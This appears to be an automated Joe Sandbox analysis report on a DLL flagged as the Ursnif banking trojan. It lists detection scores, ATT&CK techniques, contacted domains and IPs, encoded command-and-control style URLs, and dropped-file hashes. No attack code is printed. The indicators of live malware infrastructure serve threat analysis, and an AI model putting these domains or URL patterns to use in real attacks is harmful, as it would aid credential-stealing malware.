Source: Yara match	File source: 00000003.00000002.784698066.0000000005039000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.783230082.0000000002B79000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.418099861.0000000000A60000.00000040.00000001.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation2	Path Interception	Process Injection112	Masquerading1	Input Capture1	System Time Discovery2	Remote Services	Input Capture1	Exfiltration Over Other Network Medium	Encrypted Channel11	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Native API1	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Virtualization/Sandbox Evasion1	LSASS Memory	Query Registry1	Remote Desktop Protocol	Archive Collected Data1	Exfiltration Over Bluetooth	Ingress Tool Transfer3	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Process Injection112	Security Account Manager	Security Software Discovery21	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Non-Application Layer Protocol3	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Obfuscated Files or Information1	NTDS	Virtualization/Sandbox Evasion1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol14	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Rundll321	LSA Secrets	Process Discovery1	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Steganography	Cached Domain Credentials	Remote System Discovery1	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Compile After Delivery	DCSync	System Information Discovery13	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
B6VQd36tt6.dll	17%	Virustotal		Browse
B6VQd36tt6.dll	24%	ReversingLabs	Win32.Trojan.Ursnif

Dropped Files

No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
0.2.loaddll32.exe.830000.0.unpack	100%	Avira	HEUR/AGEN.1108168		Download File
3.2.rundll32.exe.3050000.0.unpack	100%	Avira	HEUR/AGEN.1108168		Download File

Domains

Source	Detection	Scanner	Label	Link
areuranel.website	7%	Virustotal		Browse
breuranel.website	7%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
https://deff.nelreports.net/api/report?cat=msn	0%	URL Reputation	safe
https://mem.gfx.ms/meversion/?partner=msn&market=en-us"	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
msn.com	13.82.28.61	true	false		high
outlook.com	40.97.164.146	true	false		high
HHN-efz.ms-acdc.office.com	40.101.91.82	true	false		high
FRA-efz.ms-acdc.office.com	52.97.151.18	true	false		high
www.msn.com	unknown	unknown	false		high
www.outlook.com	unknown	unknown	false		high
areuranel.website	unknown	unknown	true	7%, Virustotal, Browse	unknown
breuranel.website	unknown	unknown	true	7%, Virustotal, Browse	unknown
outlook.office365.com	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Reputation
https://msn.com/mail/liopolo/A1Qp_2BWzai2O5/xac_2BRG3wzSilIBjQnWR/yH8MK_2FDeyVZ7zs/MmgvT5kbS5J14SI/50tiJJe1m8aJQ2XT7T/rIRQt7iCb/CwoKyLq7nfSWQHvgpN7o/BCyQHF5XZOebIuFzT_2/BFFOtw4QHhKTLswkkvF9vD/aY9DT6JVICQxS/piqcZUHz/pQlXCrwUL0BTmEd_2FLWL2L/RH2uj8PySJ/d2LKLIyBddk3_2FhT/H.jre	false	high
https://outlook.com/signup/liopolo/7RiyOegViATthNX4pt/E65VkdFK0/peIG_2BaG1SxNKYOcdXs/80APf88JeQpK_2BfrxB/1_2B2_2FNDAEnuSdYMUmdr/BpxBwvlUzTu3W/v3tDiaIH/uhnULhLXCDfDONp_2FCc03F/ZkPsDATWsR/KNPTfNdkqqbWMwLBy/xU_2Bk46LKIT/9_2FOKzik9g/v8mZTndKcyg89a/ELxzR_2BALqku0rQMRn2U/KVAF7ruVq/mnKq.jre	false	high
https://outlook.com/signup/liopolo/f5kvQFsIv4wED/j69h8mSZ/xzzTxsSNNb1pIF2nd0zyLKL/oW0UsUUi2h/1n_2FrPb8KlH0Zm6I/DMN_2B2Rb3dP/VgvW0BFn0fE/SZJzWGdiy3m5qM/ymewVR1TpC9Ou3wlV9Okm/omWH_2FxfhHZzw96/HP0eihm9FW1uN9V/ykWA9NBBnDVcWXTKfE/JwgC0Jx4CafbQ/qgLsjM_2/F.jre	false	high
https://www.outlook.com/signup/liopolo/7RiyOegViATthNX4pt/E65VkdFK0/peIG_2BaG1SxNKYOcdXs/80APf88JeQpK_2BfrxB/1_2B2_2FNDAEnuSdYMUmdr/BpxBwvlUzTu3W/v3tDiaIH/uhnULhLXCDfDONp_2FCc03F/ZkPsDATWsR/KNPTfNdkqqbWMwLBy/xU_2Bk46LKIT/9_2FOKzik9g/v8mZTndKcyg89a/ELxzR_2BALqku0rQMRn2U/KVAF7ruVq/mnKq.jre	false	high
https://msn.com/mail/liopolo/XqCHqVDXW8CZUpeu5peN_2/FydjgYTJtTmoC/fAo34oef/chWHLvpFFUOYdiWXbNbnYW0/Rfy3HU21P_/2FwjKpEqeFo_2FxU6/0A_2BR4J2MVl/hx12NRqsjmC/kkNl1wduKuFf8Q/FUG3Ocqqzs1x_2BibuPx6/9auuC1P5josci_2B/vyxmzUWJ7gSzOqo/Jt7rxzWzdI7AYIGNrQ/e7oR22vyh/Me9W1V8u/5SwAx9Su/B.jre	false	high
https://outlook.com/signup/liopolo/5R03kGEb4YkHyvd/vrgMCXbUCWgL9mS74E/ZNV_2FT7r/A0OAE579SB7Hx3A4JeNe/QST70In3HBC_2F_2Flg/hEE1oqV04Tcb_2BXZ4DwC_/2BDjxaFgiu1Kq/cZhA7baN/ystZ_2FV5yPDIe8qQfN_2Fy/gQ02q5YT1n/eawFPHFBcfhAYskcF/Z0kyVxsdmmeN/mzjXdayEo/OIVTn_2Fwlw/Fu.jre	false	high
https://www.outlook.com/signup/liopolo/f5kvQFsIv4wED/j69h8mSZ/xzzTxsSNNb1pIF2nd0zyLKL/oW0UsUUi2h/1n_2FrPb8KlH0Zm6I/DMN_2B2Rb3dP/VgvW0BFn0fE/SZJzWGdiy3m5qM/ymewVR1TpC9Ou3wlV9Okm/omWH_2FxfhHZzw96/HP0eihm9FW1uN9V/ykWA9NBBnDVcWXTKfE/JwgC0Jx4CafbQ/qgLsjM_2/F.jre	false	high
https://outlook.office365.com/signup/liopolo/5R03kGEb4YkHyvd/vrgMCXbUCWgL9mS74E/ZNV_2FT7r/A0OAE579SB7Hx3A4JeNe/QST70In3HBC_2F_2Flg/hEE1oqV04Tcb_2BXZ4DwC_/2BDjxaFgiu1Kq/cZhA7baN/ystZ_2FV5yPDIe8qQfN_2Fy/gQ02q5YT1n/eawFPHFBcfhAYskcF/Z0kyVxsdmmeN/mzjXdayEo/OIVTn_2Fwlw/Fu.jre	false	high
https://www.outlook.com/signup/liopolo/5R03kGEb4YkHyvd/vrgMCXbUCWgL9mS74E/ZNV_2FT7r/A0OAE579SB7Hx3A4JeNe/QST70In3HBC_2F_2Flg/hEE1oqV04Tcb_2BXZ4DwC_/2BDjxaFgiu1Kq/cZhA7baN/ystZ_2FV5yPDIe8qQfN_2Fy/gQ02q5YT1n/eawFPHFBcfhAYskcF/Z0kyVxsdmmeN/mzjXdayEo/OIVTn_2Fwlw/Fu.jre	false	high
https://outlook.office365.com/signup/liopolo/f5kvQFsIv4wED/j69h8mSZ/xzzTxsSNNb1pIF2nd0zyLKL/oW0UsUUi2h/1n_2FrPb8KlH0Zm6I/DMN_2B2Rb3dP/VgvW0BFn0fE/SZJzWGdiy3m5qM/ymewVR1TpC9Ou3wlV9Okm/omWH_2FxfhHZzw96/HP0eihm9FW1uN9V/ykWA9NBBnDVcWXTKfE/JwgC0Jx4CafbQ/qgLsjM_2/F.jre	false	high
https://msn.com/mail/liopolo/yn_2BPYQmJ20vgPRL3/3wjWE1bwH/DDPf_2FmyfN4qjiroAKh/7sxv413IrGA7KcA9Hu0/BYfxtbSdLKzFinzGkJGdmk/P_2Fifx7koRFQ/MIG6rk6P/jRWWDjWjz87k5xmFJxsJqsu/JDVOEV0_2F/rb6v_2FY3MQLb6_2F/gkDS2luFhYah/H5Mm0Y9iZUr/9_2FNXlrb5xId9/cAon_2FllX9wfUzSs9jRy/iECEQNsAU7oK/0.jre	false	high
https://outlook.office365.com/signup/liopolo/7RiyOegViATthNX4pt/E65VkdFK0/peIG_2BaG1SxNKYOcdXs/80APf88JeQpK_2BfrxB/1_2B2_2FNDAEnuSdYMUmdr/BpxBwvlUzTu3W/v3tDiaIH/uhnULhLXCDfDONp_2FCc03F/ZkPsDATWsR/KNPTfNdkqqbWMwLBy/xU_2Bk46LKIT/9_2FOKzik9g/v8mZTndKcyg89a/ELxzR_2BALqku0rQMRn2U/KVAF7ruVq/mnKq.jre	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://web.vortex.data.msn.com/collect/v1/t.gif?name=%27Ms.Webi.PageView%27&ver=%272.1%27&a	loaddll32.exe, 00000000.00000003.506742991.0000000000ABB000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.700328393.0000000000A3D000.00000004.00000001.sdmp, rundll32.exe, 00000003.00000003.499989548.0000000005769000.00000004.00000040.sdmp, rundll32.exe, 00000003.00000003.681162627.00000000057EC000.00000004.00000040.sdmp	false		high
https://msn.com/o	loaddll32.exe, 00000000.00000002.777718170.0000000000A17000.00000004.00000020.sdmp	false		high
https://outlook.office365.com/D	loaddll32.exe, 00000000.00000003.771819176.0000000000A55000.00000004.00000001.sdmp	false		high
https://www.msn.com/?refurl=%2fmail%2fliopolo%2fA1Qp_2BWzai2O5%2fxac_2BRG3wzSilIBjQnWR%2fyH8MK_2FDey	rundll32.exe, 00000003.00000003.681162627.00000000057EC000.00000004.00000040.sdmp	false		high
https://www.msn.com/?refurl=%2fmail%2fliopolo%2fXqCHqVDXW8CZUpeu5peN_2%2fFydjgYTJtTmoC%2ffAo34oef%2f	rundll32.exe, 00000003.00000003.499989548.0000000005769000.00000004.00000040.sdmp	false		high
https://blogs.msn.com/	loaddll32.exe, 00000000.00000003.506742991.0000000000ABB000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.506705607.000000000309D000.00000004.00000040.sdmp, rundll32.exe, 00000003.00000003.499708236.00000000057E8000.00000004.00000040.sdmp	false		high
https://deff.nelreports.net/api/report?cat=msn	loaddll32.exe, 00000000.00000003.700400046.0000000000A55000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.771819176.0000000000A55000.00000004.00000001.sdmp, rundll32.exe, 00000003.00000003.499708236.00000000057E8000.00000004.00000040.sdmp	false	URL Reputation: safe	unknown
https://www.msn.com/en-us//api/modules/fetch"	loaddll32.exe, 00000000.00000003.683468251.000000000309B000.00000004.00000040.sdmp, loaddll32.exe, 00000000.00000003.700400046.0000000000A55000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.506863078.0000000000AB2000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.683376159.0000000000AC4000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.506771882.0000000000AB7000.00000004.00000001.sdmp, rundll32.exe, 00000003.00000003.499989548.0000000005769000.00000004.00000040.sdmp, rundll32.exe, 00000003.00000003.681194745.00000000057EB000.00000004.00000040.sdmp	false		high
https://www.msn.com/mail/liopolo/yn_2BPYQmJ20vgPRL3/3wjWE1bwH/DDPf_2FmyfN4qjiroAKh/7sxv413IrGA7KcA9H	loaddll32.exe, 00000000.00000003.506863078.0000000000AB2000.00000004.00000001.sdmp	false		high
https://www.outlook.com/signup/liopolo/7RiyOegViATthNX4pt/E65VkdFK0/peIG_2BaG1SxNKYOcdXs/80APf88JeQp	loaddll32.exe, 00000000.00000003.771819176.0000000000A55000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000002.777718170.0000000000A17000.00000004.00000020.sdmp, loaddll32.exe, 00000000.00000002.779210722.0000000000A55000.00000004.00000020.sdmp	false		high
https://msn.com/y	loaddll32.exe, 00000000.00000003.700400046.0000000000A55000.00000004.00000001.sdmp	false		high
https://www.msn.com/	loaddll32.exe, 00000000.00000003.700400046.0000000000A55000.00000004.00000001.sdmp	false		high
http://ogp.me/ns/fb#	loaddll32.exe, 00000000.00000003.683468251.000000000309B000.00000004.00000040.sdmp, loaddll32.exe, 00000000.00000003.506906811.0000000003019000.00000004.00000040.sdmp, rundll32.exe, 00000003.00000003.499989548.0000000005769000.00000004.00000040.sdmp, rundll32.exe, 00000003.00000003.681194745.00000000057EB000.00000004.00000040.sdmp	false		high
https://outlook.office365.com/signup/liopolo/7RiyOegViATthNX4pt/E65VkdFK0/peIG_2BaG1SxNKYOcdXs/80APf	loaddll32.exe, 00000000.00000003.771819176.0000000000A55000.00000004.00000001.sdmp	false		high
https://msn.com/	loaddll32.exe, 00000000.00000003.700400046.0000000000A55000.00000004.00000001.sdmp	false		high
https://outlook.office365.com/	loaddll32.exe, 00000000.00000003.771819176.0000000000A55000.00000004.00000001.sdmp	false		high
https://mem.gfx.ms/meversion/?partner=msn&market=en-us"	loaddll32.exe, 00000000.00000003.700400046.0000000000A55000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.506742991.0000000000ABB000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.683447032.000000000309C000.00000004.00000040.sdmp, loaddll32.exe, 00000000.00000003.506863078.0000000000AB2000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.683376159.0000000000AC4000.00000004.00000001.sdmp, rundll32.exe, 00000003.00000003.499989548.0000000005769000.00000004.00000040.sdmp, rundll32.exe, 00000003.00000003.681162627.00000000057EC000.00000004.00000040.sdmp	false	Avira URL Cloud: safe	unknown
https://outlook.office365.com/signup/liopolo/f5kvQFsIv4wED/j69h8mSZ/xzzTxsSNNb1pIF2nd0zyLKL/oW0UsUUi	loaddll32.exe, 00000000.00000003.595223833.0000000000ABE000.00000004.00000001.sdmp	false		high
http://ogp.me/ns#	loaddll32.exe, 00000000.00000002.777718170.0000000000A17000.00000004.00000020.sdmp, loaddll32.exe, 00000000.00000003.506906811.0000000003019000.00000004.00000040.sdmp, rundll32.exe, 00000003.00000003.499989548.0000000005769000.00000004.00000040.sdmp, rundll32.exe, 00000003.00000003.681194745.00000000057EB000.00000004.00000040.sdmp	false		high
https://msn.com/O	loaddll32.exe, 00000000.00000003.700400046.0000000000A55000.00000004.00000001.sdmp	false		high
https://www.msn.com/?refurl=%2fmail%2fliopolo%2fyn_2BPYQmJ20vgPRL3%2f3wjWE1bwH%2fDDPf_2FmyfN4qjiroAK	loaddll32.exe, 00000000.00000003.506742991.0000000000ABB000.00000004.00000001.sdmp	false		high
https://outlook.office365.com/0	loaddll32.exe, 00000000.00000003.771819176.0000000000A55000.00000004.00000001.sdmp	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
40.97.164.146	outlook.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
40.101.60.2	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
40.101.91.82	HHN-efz.ms-acdc.office.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
52.97.151.114	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
52.97.151.18	FRA-efz.ms-acdc.office.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
13.82.28.61	msn.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
52.97.137.178	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	true
52.97.183.162	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	true

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	33.0.0 White Diamond
Analysis ID:	500299
Start date:	11.10.2021
Start time:	22:19:56
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 11m 12s
Hypervisor based Inspection enabled:	false
Report type:	light
Sample file name:	B6VQd36tt6.dll
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	39
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal96.troj.evad.winDLL@14/12@26/9
EGA Information:	Failed
HDC Information:	Successful, ratio: 7% (good quality ratio 6.6%) Quality average: 79.9% Quality standard deviation: 28.6%
HCA Information:	Failed
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .dll Override analysis time to 240s for rundll32
Warnings:	Show All Exclude process from analysis (whitelisted): MpCmdRun.exe, wermgr.exe, backgroundTaskHost.exe, audiodg.exe, BackgroundTransferHost.exe, WerFault.exe, WMIADAP.exe, SgrmBroker.exe, conhost.exe, WmiPrvSE.exe, svchost.exe, wuapihost.exe TCP Packets have been reduced to 100 Excluded IPs from analysis (whitelisted): 23.203.141.148, 95.100.216.89, 8.248.137.254, 67.26.81.254, 8.253.95.121, 8.248.113.254, 8.248.141.254, 20.50.102.62, 204.79.197.203, 52.182.143.212, 20.42.73.29, 2.20.178.24, 2.20.178.18, 20.54.110.249, 40.112.88.60, 131.253.33.203 Excluded domains from analysis (whitelisted): fg.download.windowsupdate.com.c.footprint.net, store-images.s-microsoft.com-c.edgekey.net, a-0003.dc-msedge.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, a1449.dscg2.akamai.net, arc.msn.com, e12564.dspb.akamaiedge.net, onedsblobprdcus15.centralus.cloudapp.azure.com, consumer-displaycatalogrp-aks2aks-europe.md.mp.microsoft.com.akadns.net, onedsblobprdeus15.eastus.cloudapp.azure.com, arc.trafficmanager.net, displaycatalog.mp.microsoft.com, watson.telemetry.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, fs.microsoft.com, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, wu-shim.trafficmanager.net, a-0003.a-msedge.net, neu-displaycatalogrp.useroor.bigcatalog.commerce.microsoft.com, ris-prod.trafficmanager.net, asf-ris-prod-neu.northeurope.cloudapp.azure.com, e1723.g.akamaiedge.net, ctldl.windowsupdate.com, www-msn-com.a-0003.a-msedge.net, iris-de-prod-azsc-uks.uksouth.cloudapp.azure.com, ris.api.iris.microsoft.com, store-images.s-microsoft.com, icePrime.a-0003.dc-msedge.net, blobcollector.events.data.trafficmanager.net, displaycatalog-rp.md.mp.microsoft.com.akadns.net Not all processes where analyzed, report is missing behavior information Report size exceeded maximum capacity and may have missing behavior information. Report size getting too big, too many NtDeviceIoControlFile calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
22:22:40	API Interceptor	8x Sleep call for process: loaddll32.exe modified
22:22:53	API Interceptor	7x Sleep call for process: rundll32.exe modified
22:22:58	API Interceptor	3x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link
40.97.164.146	611242387c2b3.dll	Get hash	malicious	Browse
	611237846402f.dll	Get hash	malicious	Browse
	FuiZSHt8Hx.dll	Get hash	malicious	Browse
	https://live-microsoft.app.link/81e6d30/verify/recovery	Get hash	malicious	Browse
	78lette.exe	Get hash	malicious	Browse
	12file.htm .exe	Get hash	malicious	Browse
	3HnStrg8u06.exe	Get hash	malicious	Browse
	57C5fDSKCrJU.exe	Get hash	malicious	Browse
	7transcrip.exe	Get hash	malicious	Browse
	.exe	Get hash	malicious	Browse
40.101.60.2	32noemai.exe	Get hash	malicious	Browse
	62lette.exe	Get hash	malicious	Browse
	FINANCE_D0C-989261.pdf	Get hash	malicious	Browse
40.101.91.82	PROFORMA INVOICE -PI6120..html	Get hash	malicious	Browse
	http://x.co/6ngvm	Get hash	malicious	Browse
	https://www.rheat.xyz/$xi-in/index.php?!ch!m@9!	Get hash	malicious	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
outlook.com	P2AN3Yrtnz.exe	Get hash	malicious	Browse	40.93.212.0
	Hm7d40tE44.exe	Get hash	malicious	Browse	104.47.53.36
	SecuriteInfo.com.W32.AIDetect.malware2.21009.exe	Get hash	malicious	Browse	104.47.53.36
	in7BcpKNoa.exe	Get hash	malicious	Browse	40.93.212.0
	aXNdDIO708.exe	Get hash	malicious	Browse	104.47.53.36
	vhPaw5lCuv.exe	Get hash	malicious	Browse	40.93.212.0
	5sTWnI5RoC.exe	Get hash	malicious	Browse	40.93.207.0
	57wF9hu0V5.exe	Get hash	malicious	Browse	40.93.207.0
	7zxmUw3Ml1.exe	Get hash	malicious	Browse	104.47.53.36
	Nh1UI4PFGW.exe	Get hash	malicious	Browse	52.101.24.0
	rEYF2xcbGR.exe	Get hash	malicious	Browse	40.93.207.1
	G2Shy4flZe.exe	Get hash	malicious	Browse	40.93.207.1
	2nqVnWlyLp.exe	Get hash	malicious	Browse	52.101.24.0
	nFkQ33d7Ec.exe	Get hash	malicious	Browse	104.47.53.36
	QE66HWdeTM.exe	Get hash	malicious	Browse	40.93.207.0
	2H69p1kjC4.exe	Get hash	malicious	Browse	40.93.207.1
	SEYpTxOaaR.exe	Get hash	malicious	Browse	104.47.53.36
	fxXx5zeMoZ.exe	Get hash	malicious	Browse	104.47.53.36
	CcXHF1vwBV.exe	Get hash	malicious	Browse	40.93.207.1

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	P2AN3Yrtnz.exe	Get hash	malicious	Browse	40.93.212.0
	b3astmode.x86	Get hash	malicious	Browse	72.154.237.78
	b3astmode.arm7	Get hash	malicious	Browse	20.153.181.154
	b3astmode.arm7-20211011-1850	Get hash	malicious	Browse	20.63.129.213
	TNIZtb3HS3.exe	Get hash	malicious	Browse	20.42.65.92
	PROFORMA INVOICE -PI6120..html	Get hash	malicious	Browse	40.101.62.34
	setup_x86_x64_install.exe	Get hash	malicious	Browse	52.168.117.173
	ntpclient	Get hash	malicious	Browse	21.215.78.72
	2021catalog-selected products.xlsm	Get hash	malicious	Browse	13.92.100.208
	K6E9636Koq	Get hash	malicious	Browse	159.27.209.248
	setup_x86_x64_install.exe	Get hash	malicious	Browse	20.42.73.29
	Hm7d40tE44.exe	Get hash	malicious	Browse	104.47.53.36
	mixsix_20211008-150045.exe	Get hash	malicious	Browse	20.189.173.22
	SecuriteInfo.com.W32.AIDetect.malware2.21009.exe	Get hash	malicious	Browse	104.47.53.36
	in7BcpKNoa.exe	Get hash	malicious	Browse	40.93.212.0
	xiaomi-home.apk	Get hash	malicious	Browse	104.45.180.93
	canon-camera-connect.apk	Get hash	malicious	Browse	104.45.180.93
	aXNdDIO708.exe	Get hash	malicious	Browse	104.47.53.36
	uT9rwkGATJ.dll	Get hash	malicious	Browse	52.98.208.114
	setup_x86_x64_install.exe	Get hash	malicious	Browse	20.189.173.20

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
ce5f3254611a8c095a3d821d44539877	setup_x86_x64_install.exe	Get hash	malicious	Browse	40.97.164.146 40.101.60.2 40.101.91.82 52.97.151.18 13.82.28.61 52.97.151.114 52.97.137.178 52.97.183.162
	aVFOmbW2t7.dll	Get hash	malicious	Browse	40.97.164.146 40.101.60.2 40.101.91.82 52.97.151.18 13.82.28.61 52.97.151.114 52.97.137.178 52.97.183.162
	gxJ83rJkgw.msi	Get hash	malicious	Browse	40.97.164.146 40.101.60.2 40.101.91.82 52.97.151.18 13.82.28.61 52.97.151.114 52.97.137.178 52.97.183.162
	yR4AxlwcWJ.exe	Get hash	malicious	Browse	40.97.164.146 40.101.60.2 40.101.91.82 52.97.151.18 13.82.28.61 52.97.151.114 52.97.137.178 52.97.183.162
	BsyK7FB5DQ.exe	Get hash	malicious	Browse	40.97.164.146 40.101.60.2 40.101.91.82 52.97.151.18 13.82.28.61 52.97.151.114 52.97.137.178 52.97.183.162
	SGfGZT66wD.exe	Get hash	malicious	Browse	40.97.164.146 40.101.60.2 40.101.91.82 52.97.151.18 13.82.28.61 52.97.151.114 52.97.137.178 52.97.183.162
	uT9rwkGATJ.dll	Get hash	malicious	Browse	40.97.164.146 40.101.60.2 40.101.91.82 52.97.151.18 13.82.28.61 52.97.151.114 52.97.137.178 52.97.183.162
	XK1PLPuwjL.exe	Get hash	malicious	Browse	40.97.164.146 40.101.60.2 40.101.91.82 52.97.151.18 13.82.28.61 52.97.151.114 52.97.137.178 52.97.183.162
	pHEiqE9toa.msi	Get hash	malicious	Browse	40.97.164.146 40.101.60.2 40.101.91.82 52.97.151.18 13.82.28.61 52.97.151.114 52.97.137.178 52.97.183.162
	SecuriteInfo.com.W32.AIDetect.malware2.24481.exe	Get hash	malicious	Browse	40.97.164.146 40.101.60.2 40.101.91.82 52.97.151.18 13.82.28.61 52.97.151.114 52.97.137.178 52.97.183.162
	vH0SHswvrb.exe	Get hash	malicious	Browse	40.97.164.146 40.101.60.2 40.101.91.82 52.97.151.18 13.82.28.61 52.97.151.114 52.97.137.178 52.97.183.162
	NM0NyvZi8O.exe	Get hash	malicious	Browse	40.97.164.146 40.101.60.2 40.101.91.82 52.97.151.18 13.82.28.61 52.97.151.114 52.97.137.178 52.97.183.162
	yOTzv1Qz0n.exe	Get hash	malicious	Browse	40.97.164.146 40.101.60.2 40.101.91.82 52.97.151.18 13.82.28.61 52.97.151.114 52.97.137.178 52.97.183.162
	SWaTAV7EdD.exe	Get hash	malicious	Browse	40.97.164.146 40.101.60.2 40.101.91.82 52.97.151.18 13.82.28.61 52.97.151.114 52.97.137.178 52.97.183.162
	SKMC07102021.exe	Get hash	malicious	Browse	40.97.164.146 40.101.60.2 40.101.91.82 52.97.151.18 13.82.28.61 52.97.151.114 52.97.137.178 52.97.183.162
	50r72IVfM0.msi	Get hash	malicious	Browse	40.97.164.146 40.101.60.2 40.101.91.82 52.97.151.18 13.82.28.61 52.97.151.114 52.97.137.178 52.97.183.162
	setup_x86_x64_install.exe	Get hash	malicious	Browse	40.97.164.146 40.101.60.2 40.101.91.82 52.97.151.18 13.82.28.61 52.97.151.114 52.97.137.178 52.97.183.162
	83ONlZMwS9.msi	Get hash	malicious	Browse	40.97.164.146 40.101.60.2 40.101.91.82 52.97.151.18 13.82.28.61 52.97.151.114 52.97.137.178 52.97.183.162
	Dxr7myLbG2.msi	Get hash	malicious	Browse	40.97.164.146 40.101.60.2 40.101.91.82 52.97.151.18 13.82.28.61 52.97.151.114 52.97.137.178 52.97.183.162
	tributaria.exe	Get hash	malicious	Browse	40.97.164.146 40.101.60.2 40.101.91.82 52.97.151.18 13.82.28.61 52.97.151.114 52.97.137.178 52.97.183.162

Dropped Files

No context

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_rundll32.exe_b6db214dd89db871c3cf2d8284ebed8c4377271_82810a17_0a11246a\Report.wer Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	12042
Entropy (8bit):	3.765339362044577
Encrypted:	false
SSDEEP:	192:UF+6ie0oXnHBUZMX4jed+5/u7saS274It7ce:16ioXHBUZMX4jeU/u7saX4It7ce
MD5:	277FFDA2256ED46D46653F6DD3E3FC2B
SHA1:	460F928A7D5DF2C6185271B78E0BAFCFA83CFBF7
SHA-256:	10E6BD9A1E7946EF8E95295B568F1EA61DBC958936719D387BD2F3B7E9124C67
SHA-512:	6C2B295979991CC3B27C0A9FB0F2B1C21B5AEBF93C5B5A70BDF5EF3CCE8CBFC44005E63D079A30E54B1649E17C2216490A65D8D71F02BBD06B18A02CE4980D50
Malicious:	false
